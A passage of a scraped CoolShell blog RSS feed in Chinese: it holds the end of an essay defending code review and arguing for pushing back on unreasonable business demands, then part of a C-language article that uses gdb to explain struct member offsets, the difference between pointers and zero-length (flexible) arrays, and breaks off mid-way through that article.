1.5em;\">4）现在的主要矛盾是倒排出来的工期和不靠谱的程序员之间的矛盾，我认为cr不是解决这个问题的银弹。不从实际情况出发光打正义的嘴炮实在太过于自慰了 。</span></p>\n<p><strong>我们可以看到，上面观点其实和Code Review没有太多关系，其实是在抱怨另外的问题</strong>。这些观点其实是技术团队和业务团队的矛盾，但不知道为什么强加给了我的“Code Review很重要”的这个观点，然后这些观点反过来冲击“Code Reivew”，并说“Code Review无用”。这种讨论问题的方式在很常见，你说A，我说B，本来A、B是两件事，但就是要混为一谈，然后似是而非的用B来证明你的A观点是错的。（也许，这些工程师/架构师心存怨气，需要一个发泄的通道）</p>\n<p><strong>我觉得，很多时候，人思考问题思考不清楚，很大一部分原因是因为把很多问题混为一谈</strong>，连我自己有些时候都会这样。引以为戒。</p>\n<p>即然被混为一谈，那我就来拆分一下，也是下面这三个问题：</p>\n<ul>\n<li>Code Review有没有用的问题。</li>\n<li>Code Review做不起来的问题。</li>\n<li>业务变化快，速度快的问题，技术疲于跟命。</li>\n</ul>\n<h4>Code Review</h4>\n<p>你Google一下Code Reivew这个关键词，你就会发现Code Review的好处基本上是不存在争议的，有很多很多的文章和博文都在说Code Review的重要性，怎么做会更好，而且很多公司在面试过程中会加入“Code Review”的问题。打开<a href=\"http://zh.wikipedia.org/wiki/%E4%BB%A3%E7%A0%81%E5%AE%A1%E6%9F%A5\" target=\"_blank\">Wikipedia的词条</a>你会看到这样的描述——</p>\n<blockquote><p>卡珀斯·琼斯（Capers Jones）分析了超过12,000个软件开发项目，其中使用正式代码审查的项目，发现潜在缺陷率约在60-65%之间，若是非正式的代码审查，发现潜在缺陷率不到50%。大部份的测试，发现的潜在缺陷率会在30%左右。</p>\n<p>对于一些关键的软件（例如安全关键系统的嵌入式软件），一般的代码审查速度约是一小时150行程序码，一小时审查数百行程序码的审查速度太快，可能无法找到程序中的问题。代码审查一般可以找到及移除约65%的错误，最高可以到85%。</p>\n<p>也有研究针对代码审查找到的缺陷类型进行分析。代码审查找到的缺陷中，有75%是和计算机安全隐患有关。对于产品生命周期很长的软件公司而言，代码审查是很有效的工具。</p></blockquote>\n<p><strong>Code Review的好处我觉得不用多说了，主要是让你的代码可以更好的组织起来，有更易读，有更高的维护性，同时可以达到知识共享，找到bug只是其中的副产品</strong>。这个东西已经不新鲜了，你上网可以找到很多文章，我就不多说了。就像你写程序要判断错误一样，Code Review也是最基本的常识性的东西。</p>\n<p>我从2002年开始就浸泡在严格的Code Review中，我的个人成长和Code Review有很大的关系，如果我的成长过程中没有经历过Code Review这个事，我完全不敢想像。</p>\n<p><strong>我个人认为代码有这几种级别：1）可编译，2）可运行，3）可测试，4）可读，5）可维护，6）可重用。通过自动化测试的代码只能达到第3）级，而通过Code Review的代码少会在第4）级甚至更高。</strong>关于Code Review，你可以参看本站的《<a title=\"Code Review中的几个提示\" href=\"https://coolshell.cn/articles/1302.html\" target=\"_blank\">Code Review中的几个提示</a>》</p>\n<p>可见，Code Review直接关系到了你的工程能力！</p>\n<h4>Code Review 的问题</h4>\n<p>有下面几个情况会让你的Code Review没有效果。</p>\n<p>首当其冲的是——“<strong>人员能力不足</strong>”，我经历过这样的情况，Code Review的过程中，大家大眼瞪小眼，没有什么好的想法，不知道什么是好的代码，什么是不好的代码。导致Code Review大多数都在代码风格上。今天，我告诉你，代码风格这种事，是每个程序员自查的事情，不应该浪费大家的时间。对此，我有两个建议：1）你团队的人招错了，该换血了。2）让你团队的人花时候阅读一下《<a href=\"http://book.douban.com/subject/1477390/\" target=\"_blank\">代码大全</a>》这本书（当然，还要读很多基础知识的书）。</p>\n<p>次当其冲的是——“<strong>结果更重要</strong>”，也就是说，做出来更重要，做漂亮不重要。因为我的KPI和年终奖based on how many works I&#8217;ve done！而不是How perfect they are ! 这让我想到那些天天在用Spring MVC 做CRUD网页的工程师，我承认，他们很熟练。大量的重复劳动。其实，仔细想一下好多东西是可以框架化，模板化，或是自动生成的。所以，为了堆出这么多网页就停地去堆，做的东西是很多，但是没有任何成长。急功近利，也许，你做得多，拿到了不错的年终奖，但是你失去的也多，失去了成为一个卓越工程师的机会。你本来可以让你的月薪在1-2年后翻1-2倍的，但一年后你只拿到了为数不多的年终奖。</p>\n<p>然后是——“<strong>人员的态度问题</strong>”，一方面就是懒，不想精益求精，只要干完活交差了事。对此，你更要大力开展Code Review了，让这种人写出来的代码曝光在更多人面前，让他为质量不好的代码蒙羞。另一方面，有人会觉得那是别人的模块，我不懂，也没时间 去懂，不懂他的业务怎么做Code Review? 我只想说，如果你的团队里这样的“各个自扫门前雪”的事越多，那么这个团队也就越没主动性，没有主动性也就越不可能是个好团队，做的东西也不可能好。而对于个人来说，也就越不可能有成长。</p>\n<p>接下来是——“<strong>需求变化的问题</strong>”，有人认识，需求变得快，代码的生存周期比较短，不需要好的代码，反正过两天这些代码就会被废弃了。如果是一次性的东西，的确质量不需要太高，反正用了就扔。但是，我觉得多多少少要Review一下这个一次性的烂代码不会影响那些长期在用的代码吧，如果你的项目全部都是临时代码，那么你团队是不是也是一个临时团队？关于如果应对需求变化，你可以看看本站的《<a href=\"https://coolshell.cn/articles/6950.html\" rel=\"bookmark\">需求变化与IoC</a>》《<a href=\"https://coolshell.cn/articles/7236.html\" target=\"_blank\">Unix的设计思想来应对多变的需求</a>》的文章 ，从这些文章中，我相信你可以看到对于需求变化的代码质量需要的更高。</p>\n<p>最后是——“<strong>时间不够问题</strong>”，如果是业务逼得紧，让你疲于奔命，那么这不是Code Review好不好问题，这是需求管理和项目管理的问题以及别的非技术的问题。下面我会说。</p>\n<p>不管怎么样，上述Code Review的问题不应该成为“Code Review无意义”的理由或借口，这就好像“因噎废食”一样。干什么事都会有困难和问题的，有的人就这样退缩了，但有的人看得到利大于弊，还是去坚持，人与人的不同正在这个地方。这就是为什么运动会受伤，但还是会人去运动，而有人因为怕受伤就退缩了一样。</p>\n<h4>被业务逼得太紧</h4>\n<p>被业务逼得太紧，需求乱变，这其实和Code Review没有多大关系了。对此，我想先讲一个我的故事。</p>\n<p>我去年在阿里的聚石塔，刚去的时候，聚石塔正在做一个很大的重构——对架构的大调整。因此压了很多业务需求，等这个项目花了2-3个月做完了后，一下子涌入了30-50个需求，还规定一个月完成，搞得团队疲于奔命。在累了两周后，我仔细分析了一下这些需求，发现很多需求是在重复做阿里云已经做过的东西，还有一些需求是因为聚石塔这个平台不规范没有标准所产生的问题。于是，我做了这么三件事：</p>\n<p style=\"padding-left: 30px;\">1）重新定义聚石塔这个产品主要目标和范围，确定哪些该做，哪些不该做。</p>\n<p style=\"padding-left: 30px;\">2）为聚石塔制定标准 ，让阿里云的API都长得基本一样，并制订云资源的接入标准。</p>\n<p style=\"padding-left: 30px;\">3）推动重构阿里云的Portal系统，不再实现阿里云已经做过的东西，与阿里云紧密结合。</p>\n<p>这些事情推动起来并不容易，聚石塔的业务方一开始也不理解，我和产品一起做业务方的工作，而阿里云也被我逼得很惨（在这里一并感谢，尤其阿里云的同学，老实说，和阿里云跨团队合作中是我这么多年来感觉最好的一次，相当赞）。通过这个事，聚石塔需求一下就有质的下降了。搞得还有几个工程师来和我说，你这么搞，聚石塔就没事可干了。姑且不说工程师对聚石塔的理解是怎么样的。 我只想说，我大量地减少了需求，尽最大可能联合了该联合的人，而不是自己闭门造车，并让产品的目标和方向更明确了。做了这些事情后，大家不但不用加班，而且还有时间充电去学技术，并为聚石塔思考未来的方向和发展。去年公司996的时候，我的团队还在965（搞得跟异教徒似的），而且还有很多时间去专研新的东西。</p>\n<p>说这个故事，我不是为了得瑟，而是因为有些人在微博上抨击我是一个道貌岸然的只会谈概念讲道理的装逼犯。所以，我告诉大家我在聚石塔是怎么做的，我公开写在这里，你也可以向相关的同学去求证我说的是不是真的。也向你证明，我可能是个装逼犯，但绝不是只会谈概念讲道理的装逼犯。</p>\n<p>被业务方逼得紧不要抱怨，你没有时间被逼得像牲口一样工作，这个时候，你需要的是暂停一下想一想，为什么会像牲口一样？而这正是让你变得聪明的机会。</p>\n<p>我为你总结一下，</p>\n<p style=\"padding-left: 30px;\">1）你有没有去Review业务部门给你的这么多的需求，哪些是合理的，哪些是不合理的。在Amazon，开发工程师都会被教育拿到需求后一定要问——“为什么要做？业务影响度有多大？有多少用户受益？”，回答不清这个问题，没有数据的支持，就不做。所以，产品经理要做很多数据挖拙和用户调研的工作，而不是拍拍脑袋，听极少数的用户抱怨就要开需求了。</p>\n<p style=\"padding-left: 30px;\">2）产品经理也要管理和教育的。你要告诉你的产品经理：“你是一个好的产品经理，因为你不但对用户把握得很好，也会对软件工艺把握得很好。你不但会开出外在的功能性需求，也同样会开出内在的让软件系统更完善的非功能性需求。你不是在迁就用户，而是引导用户。你不会无限制地加功能，而是把握产品灵魂控制并简化功能。你会为自己要做的和不做东西的感到同样的自豪。”你要告诉你的产品经理：“做一个半成品不如做好半年产品”（更多这样的观点请参看《<a title=\"《Rework》摘录及感想\" href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\">Rework摘录和感想</a>》）</p>\n<p style=\"padding-left: 30px;\">3）做事情是要讲效率的。Amazon里喜欢使用一种叫T-Shirt Size Estimation的评估方法来优先做投入小产出大的“Happy Case”。关于什么是效率，什么是T-Shirt Size Estimation，你可以看看《<a title=\"加班与效率\" href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">加班与效率</a>》一文 。</p>\n<p style=\"padding-left: 30px;\">4）需求总是会变化的，不要抱怨需求变化太快。你应该抱怨的是为什么我们没有把握好方向？老变？这个事就像踢足球一样，你要去的地方是球将要去的地方，而不是球现在的地方。你要知道球要去哪里，你就知道球之前是怎么动的，找到了运动轨迹后，你才知道球要去像何方。如果你都不知道球要去向何方，那你就是一只无头苍蝇一样，东一下西一下。</p>\n<p><strong>当你忙得跟牲口一样，你应该停下来，问一下自己，自己成为牲口的原因，是不是就是因为自己做事时候像就牲口一样思考？</strong></p>\n<h4>其它</h4>\n<p>最后，我在给阿里今年新入职的毕业生的“技塑人生”的分享中，我给他们布置了5、6个Homework，分享几个给大家：</p>\n<p style=\"padding-left: 30px;\">1）重构或写一个模块，把他做成真正的Elegant级别。</p>\n<p style=\"padding-left: 30px;\">2）与大家分享一篇或几篇技术文章 ，并收获10-30个赞。</p>\n<p style=\"padding-left: 30px;\">3）降低现有至少20%的重复工作或维护工作</p>\n<p style=\"padding-left: 30px;\">4）拒绝或简化一个需求（需要项目中所有的Stakeholders都同意）</p>\n<p>部署这些作业的原因，是我希望新入行的同学们对自己的工作坚持高的标准，我知道你们会因为骨感的现实而妥协，但是我希望你们就算在现实中妥协了也要在内心中坚持尽可能高的标准，不要习惯成自然，最后被社会这个大染缸给潜移默化了。因为你至少要对自己负责。<strong>对自己负责就是，用脚投票，如果妥协得受不了了就离开吧</strong>。</p>\n<p>芝兰生于空谷，不以无人而不芳！君子修身养道，不以穷困而改志！</p>\n<p>谢谢听我唠叨。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11432.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>218</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-7.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 7 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=7\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 08 Jul 2020 09:38:17 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>C语言结构体里的成员数组和指针</title>\n\t\t<link>https://coolshell.cn/articles/11377.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11377.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Apr 2014 00:17:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11377</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>单看这文章的标题，你可能会觉得好像没什么意思。你先别下这个结论，相信这篇文章会对你理解C语言有帮助。这篇文章产生的背景是在微博上，看到@Laruence同学出了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11377.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11377.html\">C语言结构体里的成员数组和指针</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>单看这文章的标题，你可能会觉得好像没什么意思。你先别下这个结论，相信这篇文章会对你理解C语言有帮助。这篇文章产生的背景是在微博上，看到<a title=\"Laruence\" href=\"http://weibo.com/laruence\" target=\"_blank\">@Laruence</a>同学出了一个关于C语言的题，<a href=\"http://weibo.com/1170999921/ADojDbuSe\" target=\"_blank\">微博链接</a>。微博截图如下。我觉得好多人对这段代码的理解还不够深入，所以写下了这篇文章。</p>\n<p style=\"text-align: center;\"><a href=\"http://weibo.com/1170999921/ADojDbuSe\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11378\" alt=\"zero_array\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/zero_array.png\" width=\"549\" height=\"204\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/zero_array.png 549w, https://coolshell.cn/wp-content/uploads/2014/03/zero_array-300x111.png 300w\" sizes=\"(max-width: 549px) 100vw, 549px\" /></a></p>\n<p>为了方便你把代码copy过去编译和调试，我把代码列在下面：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nstruct str{\n    int len;\n    char s[0];\n};\n\nstruct foo {\n    struct str *a;\n};\n\nint main(int argc, char** argv) {\n    struct foo f={0};\n    if (f.a-&gt;s) {\n        printf( f.a-&gt;s);\n    }\n    return 0;\n}\n</pre>\n<p>你编译一下上面的代码，在VC++和GCC下都会在14行的printf处crash掉你的程序。<a title=\"Laruence\" href=\"http://weibo.com/laruence\" target=\"_blank\">@Laruence</a> 说这个是个经典的坑，我觉得这怎么会是经典的坑呢？上面这代码，你一定会问，为什么if语句判断的不是f.a？而是f.a里面的数组？写这样代码的人脑子里在想什么？还是用这样的代码来玩票？不管怎么样，看过原微博的回复，我个人觉得大家主要还是对C语言理解不深，如果这算坑的话，那么全都是坑。</p>\n<p><span id=\"more-11377\"></span></p>\n<p>接下来，你调试一下，或是你把14行的printf语句改成：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">printf(&quot;%x\\n&quot;, f.a-&gt;s);</code></p>\n<p>你会看到程序不crash了。程序输出：4。 这下你知道了，访问0x4的内存地址，不crash才怪。于是，你一定会有如下的问题：</p>\n<p style=\"padding-left: 30px;\"><strong>1）为什么不是 13行if语句出错？f.a被初始化为空了嘛，用空指针访问成员变量为什么不crash？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）为什么会访问到了0x4的地址？靠，4是怎么出来的？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）代码中的第4行，char s[0] 是个什么东西？零长度的数组？为什么要这样玩？</strong></p>\n<p>让我们从基础开始一点一点地来解释C语言中这些诡异的问题。</p>\n<h4>结构体中的成员</h4>\n<p>首先，我们需要知道——<strong>所谓变量，其实是内存地址的一个抽像名字罢了</strong>。在静态编译的程序中，所有的变量名都会在编译时被转成内存地址。机器是不知道我们取的名字的，只知道地址。</p>\n<p>所以有了——栈内存区，堆内存区，静态内存区，常量内存区，我们代码中的所有变量都会被编译器预先放到这些内存区中。</p>\n<p>有了上面这个基础，我们来看一下结构体中的成员的地址是什么？我们先简单化一下代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct test{\n    int i;\n    char *p;\n};</pre>\n<p>上面代码中，test结构中i和p指针，在C的编译器中保存的是相对地址——也就是说，他们的地址是相对于struct test的实例的。如果我们有这样的代码：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct test t;</code></p>\n<p>我们用gdb跟进去，对于实例t，我们可以看到：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># t实例中的p就是一个野指针\n(gdb) p t\n$1 = {i = 0, c = 0 &#039;&#092;&#048;00&#039;, d = 0 &#039;&#092;&#048;00&#039;, p = 0x4003e0 &quot;1\\355I\\211\\...&quot;}\n\n# 输出t的地址\n(gdb) p &amp;t\n$2 = (struct test *) 0x7fffffffe5f0\n\n#输出(t.i)的地址\n(gdb) p &amp;(t.i)\n$3 = (char **) 0x7fffffffe5f0\n\n#输出(t.p)的地址\n(gdb) p &amp;(t.p)\n$4 = (char **) 0x7fffffffe5f4</pre>\n<p>我们可以看到，t.i的地址和t的地址是一样的，t.p的址址相对于t的地址多了个4。说白了，<strong>t.i 其实就是(&amp;t + 0x0)</strong>, <strong>t.p 的其实就是 (&amp;t + 0x4)</strong>。0x0和0x4这个偏移地址就是成员i和p在编译时就被编译器给hard code了的地址。于是，你就知道，<strong>不管结构体的实例是什么——访问其成员其实就是加成员的偏移量</strong>。</p>\n<p>下面我们来做个实验：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct test{\n    int i;\n    short c;\n    char *p;\n};\n\nint main(){\n    struct test *pt=NULL;\n    return 0;\n}</pre>\n<p>编译后，我们用gdb调试一下，当初始化pt后，我们看看如下的调试：（我们可以看到就算是pt为NULL，访问其中的成员时，其实就是在访问相对于pt的内址）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) p pt\n$1 = (struct test *) 0x0\n(gdb) p pt-&gt;i\nCannot access memory at address 0x0\n(gdb) p pt-&gt;c\nCannot access memory at address 0x4\n(gdb) p pt-&gt;p\nCannot access memory at address 0x8</pre>\n<p>注意：上面的pt-&gt;p的偏移之所以是0x8而不是0x6，是因为内存对齐了（我在64位系统上）。关于内存对齐，可参看《<a title=\"深入理解C语言\" href=\"https://coolshell.cn/articles/5761.html\" target=\"_blank\" rel=\"bookmark\">深入理解C语言</a>》一文。</p>\n<p>好了，现在你知道为什么原题中会访问到了0x4的地址了吧，因为是相对地址。</p>\n<p>相对地址有很好多处，其可以玩出一些有意思的编程技巧，比如把C搞出面向对象式的感觉来，你可以参看我正好11年前的文章《<a href=\"http://blog.csdn.net/haoel/article/details/2864\" target=\"_blank\">用C写面向对像的程序</a>》（用指针类型强转的危险玩法——相对于C++来说，C++编译器帮你管了继承和虚函数表，语义也清楚了很多）</p>\n<h4>指针和数组的差别</h4>\n<p>有了上面的基础后，你把源代码中的struct str结构体中的char s[0];改成char *s;试试看，你会发现，在13行if条件的时候，程序因为Cannot access memory就直接挂掉了。为什么声明成char s[0]，程序会在14行挂掉，而声明成char *s，程序会在13行挂掉呢？<strong>那么char *s 和 char s[0]有什么差别呢</strong>？</p>\n<p>在说明这个事之前，有必要看一下汇编代码，用GDB查看后发现：</p>\n<ul>\n<li>对于char s[0]来说，汇编代码用了lea指令，lea   0x04(%rax),   %rdx</li>\n<li>对于char*s来说，汇编代码用了mov指令，mov 0x04(%rax),   %rdx</li>\n</ul>\n<p>lea全称load effective address，是把地址放进去，而mov则是把地址里的内容放进去。所以，就crash了。</p>\n<p>从这里，我们可以看到，<strong>访问成员数组名其实得到的是数组的相对地址，而访问成员指针其实是相对地址里的内容</strong>（这和访问其它非指针或数组的变量是一样的）</p>\n<p>换句话说，<strong>对于数组 char s[10]来说，数组名 s 和 &amp;s 都是一样的</strong>（不信你可以自己写个程序试试）。在我们这个例子中，也就是说，都表示了偏移后的地址。这样，如果我们访问 指针的地址（或是成员变量的地址），那么也就不会让程序挂掉了。</p>\n<p>正如下面的代码，可以运行一点也不会crash掉（你汇编一下你会看到用的都是lea指令）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct test{\n    int i;\n    short c;\n    char *p;\n    char s[10];\n};\n\nint main(){\n    struct test *pt=NULL;\n    printf(&quot;&amp;s = %x\\n&quot;, pt-&gt;s); //等价于 printf(&quot;%x\\n&quot;, &amp;(pt-&gt;s) );\n    printf(&quot;&amp;i = %x\\n&quot;, &amp;pt-&gt;i); //因为操作符优先级，我没有写成&amp;(pt-&gt;i)\n    printf(&quot;&amp;c = %x\\n&quot;, &amp;pt-&gt;c);\n    printf(&quot;&amp;p = %x\\n&quot;, &amp;pt-&gt;p);\n    return 0;\n}</pre>\n<p><strong>看到这里，你觉得这能算坑吗？不要出什么事都去怪语言，大家要想想是不是问题出在自己身上。</strong></p>\n<h4>关于零长度的数组</h4>\n<p>首先，我们要知道，<strong>0长度的数组在ISO C和C++的规格说明书中是不允许的</strong>。这也就是为什么在VC++2012下编译你会得到一个警告：“arning C4200: 使用了非标准扩展 : 结构/联合中的零大小数组”。</p>\n<p>那么为什么gcc可以通过而连一个警告都没有？那是因为gcc 为了预先支持C99的这种玩法，所以，让“零长度数组”这种玩法合法了。关于GCC对于这个事的文档在这里：“<a title=\"Arrays of Length Zero\" href=\"http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html\" target=\"_blank\">Arrays of Length Zero</a>”，文档中给了一个例子（我改了一下，改成可以运行的了）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nstruct line {\n   int length;\n   char contents[0]; // C99的玩法是：char contents[]; 没有指定数组长度\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)\n                     malloc (sizeof (struct line) + this_length);\n    thisline-&gt;length = this_length;\n    memset(thisline-&gt;contents, &#039;a&#039;, this_length);\n    return 0;\n}</pre>\n<p>上面这段代码的意思是：我想分配一个不定长的数组，于是我有一个结构体，其中有两个成员，一个是length，代表数组的长度，一个是contents，代码数组的内容。后面代码里的 this_length（长度是10）代表是我想分配的数据的长度。（这看上去是不是像一个C++的类？）这种玩法英文叫：Flexible Array，中文翻译叫：柔性数组。</p>\n<p>我们来用gdb看一下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) p thisline\n$1 = (struct line *) 0x601010\n\n(gdb) p *thisline\n$2 = {length = 10, contents = 0x601010 &quot;\\n&quot;}\n\n(gdb) p thisline-&gt;contents\n$3 = 0x601014 &quot;aaaaaaaaaa&quot;</pre>\n<p>我们可以看到：在输出*thisline时，我们发现其中的成员变量contents的地址居然和thisline是一样的（偏移量为0x0??!!）。但是当我们输出thisline-&gt;contents的时候，你又发现contents的地址是被offset了0x4了的，内容也变成了10个‘a’。（我觉得这是一个GDB的bug，VC++的调试器就能很好的显示）</p>\n<p>我们继续，如果你sizeof(char[0])或是 sizeof(int[0]) 之类的零长度数组，你会发现sizeof返回了0，这就是说，零长度的数组是存在于结构体内的，但是不占结构体的size。你可以简单的理解为一个没有内容的占位标识，直到我们给结构体分配了内存，这个占位标识才变成了一个有长度的数组。</p>\n<p>看到这里，你会说，为什么要这样搞啊，把contents声明成一个指针，然后为它再分配一下内存不行么？就像下面一样。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"3,9\">struct line {\n   int length;\n   char *contents;\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)malloc (sizeof (struct line));\n    thisline-&gt;contents = (char*) malloc( sizeof(char) * this_length );\n    thisline-&gt;length = this_length;\n    memset(thisline-&gt;contents, &#039;a&#039;, this_length);\n    return 0;\n}</pre>\n<p>这不一样清楚吗？而且也没什么怪异难懂的东西。是的，这也是普遍的编程方式，代码是很清晰，也让人很容易理解。即然这样，那为什么要搞一个零长度的数组？有毛意义？！</p>\n<p>这个事情出来的原因是——<strong>我们想给一个结构体内的数据分配一个连续的内存！</strong>这样做的意义有两个好处：</p>\n<p style=\"padding-left: 30px;\"><strong>第一个意义是，方便内存释放</strong>。如果我们的代码是在一个给别人用的函数中，你在里面做了二次内存分配，并把整个结构体返回给用户。用户调用free可以释放结构体，但是用户并不知道这个结构体内的成员也需要free，所以你不能指望用户来发现这个事。所以，如果我们把结构体的内存以及其成员要的内存一次性分配好了，并返回给用户一个结构体指针，用户做一次free就可以把所有的内存也给释放掉。（读到这里，你一定会觉得C++的封闭中的析构函数会让这事容易和干净很多）</p>\n<p style=\"padding-left: 30px;\"><strong>第二个原因是，这样有利于访问速度</strong>。连续的内存有益于提高访问速度，也有益于减少内存碎片。（其实，我个人觉得也没多高了，反正你跑不了要用做偏移量的加法来寻址）</p>\n<p>我们来看看是怎么个连续的，用gdb的x命令来查看：(我们知道，用struct line {}中的那个char contents[]不占用结构体的内存，所以，struct line就只有一个int成员，4个字节，而我们还要为contents[]分配10个字节长度，所以，一共是14个字节)</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) x /14b thisline\n0x601010:       10      0       0       0       97      97      97      97\n0x601018:       97      97      97      97      97      97</pre>\n<p>从上面的内存布局我们可以看到，前4个字节是 int length，后10个字节就是char contents[]。</p>\n<p>如果用指针的话，会变成这个样子：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) x /16b thisline\n0x601010:       1       0       0       0       0       0       0       0\n0x601018:       32      16      96      0       0       0       0       0\n(gdb) x /10b this-&gt;contents\n0x601020:       97      97      97      97  